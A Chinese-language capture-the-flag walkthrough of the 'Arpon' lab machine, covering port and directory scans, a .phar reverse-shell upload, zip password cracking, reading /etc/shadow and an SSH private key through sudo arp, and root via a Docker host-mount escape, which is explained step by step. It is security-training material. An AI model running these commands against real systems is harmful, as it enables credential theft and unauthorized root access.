# 靶场搭建
下载:Arpon
Nat,IP: 192.168.1.142
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | |
| ssh-hostkey: | |
| 256 e1:85:8b:7b:6d:a2:6b:1a:ed:18:8e:08:a0:90:87:2a (ECDSA) | |
|_ 256 ad:fe:77:78:a0:57:70:cc:33:68:b5:84:26:a3:b3:63 (ED25519) | |
80/tcp open http Apache httpd 2.4.59 ((Debian)) | |
|_http-title: Essex | |
|_http-server-header: Apache/2.4.59 (Debian) |
[20:48:35] 301 - 315B - /backup -> http://192.168.1.142/backup/
[20:48:35] 200 - 256B - /backup/
[20:48:51] 200 - 21KB - /index.php
[20:48:51] 200 - 21KB - /index.php/login/
---- Entering directory: http://192.168.1.142/backup/ ----
==> DIRECTORY: http://192.168.1.142/backup/empty/
+ http://192.168.1.142/backup/index.html (CODE:200|SIZE:421)
---- Entering directory: http://192.168.1.142/imagenes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.142/backup/empty/ ----
+ http://192.168.1.142/backup/empty/index.html (CODE:200|SIZE:1)
backup 是一个上传点,FUZZ 一下 php 后缀。phar 是 OK 的,传一个 phar 格式的反弹 shell
弹到 shell 之后就狂翻,找到了在 /var/www/html/backup/empty/.hidden
下的 zip,传回 kali 进行 hash 破解。
拿到密码: swordfish
$ cat /etc/passwd | grep -e /bin/bash -e /bin/sh | |
root:x:0:0:root:/root:/bin/bash | |
calabrote:x:1001:1001::/home/calabrote:/bin/sh | |
foque:x:1002:1002::/home/foque:/bin/sh |
用私钥尝试登录 calabrote
和 foque
账号
calabrote 登上去了
# 提权
sudo -l
发现有 arp 权限,sudo 读文件 arp -v -f "/etc/shadow"
拿到了 shadow,可以进行爆破不过没破出来
读 id_rsa: sudo arp -v -f "/home/foque/.ssh/id_rsa_foque_script"
保存成 id_rsa
,在做一次处理
┌──(root㉿kali)-[~/Downloads] | |
└─# cat id_rsa | grep -v "^arp" | sed 's/^>> //' | sed 2d | > id |
这样 id
就是密钥了,拿来登录吧
拿到 shell 之后,通过 docker 进行提权,因为 docker 是 root 运行的: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
拿到 root 权限
# 小结
在 Docker 容器中以 Alpine 镜像为基础运行一个交互式的 shell 环境,并且将主机的根目录挂载到容器中的 /mnt
目录。让我逐步解释一下每个部分的含义:
docker run
: 这是 Docker 命令,用于创建并运行一个新的容器。-v /:/mnt
: 这是一个参数,用于将主机的根目录/
挂载到容器中的/mnt
目录。这样,在容器中对/mnt
的操作实际上是对主机根目录的操作。--rm
: 这也是一个参数,表示在容器退出后自动删除容器。这样可以确保容器在退出后不会残留在系统中。-it
: 这是两个参数的组合,用于分配一个交互式的终端,并将终端的输入输出与容器中的 shell 关联起来。alpine
: 这是要运行的容器镜像的名称,这里使用的是 Alpine Linux 镜像,它是一个轻量级的 Linux 发行版。chroot /mnt sh
: 这是在容器中运行的命令。chroot
命令用于将当前进程的根目录切换到指定的目录,这里切换到了容器中的/mnt
目录。然后,sh
是在容器中启动的交互式 shell 环境。